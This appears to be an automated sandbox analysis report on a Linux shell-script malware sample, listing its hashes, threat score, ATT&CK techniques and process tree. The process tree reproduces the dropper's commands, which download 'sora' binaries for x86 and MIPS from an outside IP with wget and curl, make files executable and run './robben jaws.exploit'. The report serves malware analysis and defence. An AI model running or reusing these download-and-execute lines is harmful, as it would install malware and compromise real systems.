17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd

Analysis

max time kernel
149s
max time network
131s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
11/11/2024, 02:08

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General

Target
17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd.sh
Size 2KB
Sample241111-cks69atkhl
SHA256 17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd
MD5 57b9aa1adfc4bf48abb154d40d031ffa
SHA1 16d2c66f0427282c2516d9161f26371067d411a7
SHA512 7135dd0b5447ed529151b2b42c643711700189fbb8b07590db0223ce53bf982d4108e7476112620b7e8521b2a0262a6dc0e7fbbc731ab2a299bd0c5bc2ef3627
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1489	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/robben	1490	robben

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1492	wget
1495	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd.sh

/tmp/17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd.sh
/tmp/17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd.sh
1⤵
- Writes file to tmp directory
PID:1475
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:1476
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.x86
  2⤵
  PID:1483
- /bin/cat
  cat sora.x86
  2⤵
  PID:1488
- /bin/chmod
  chmod +x 17aff59a513355b0a1a96273772c9b96aafb5f5160291ea54b61a116461359bd.sh config-err-G4apKo netplan_iqgixu2l robben snap-private-tmp ssh-E1FGLiBdnlhr systemd-private-2108754713ec49b1922183a00a6f6d79-bolt.service-0hyvDH systemd-private-2108754713ec49b1922183a00a6f6d79-colord.service-yW7hdK systemd-private-2108754713ec49b1922183a00a6f6d79-ModemManager.service-sBZxmz systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-resolved.service-Uc9BAY systemd-private-2108754713ec49b1922183a00a6f6d79-systemd-timedated.service-Ma88dy
  2⤵
  - File and Directory Permissions Modification
  PID:1489
- /tmp/robben
  ./robben jaws.exploit
  2⤵
  - Executes dropped EXE
  PID:1490
- /usr/bin/wget
  wget http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:1492
- /usr/bin/curl
  curl -O http://b185.78.76.132/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:1495

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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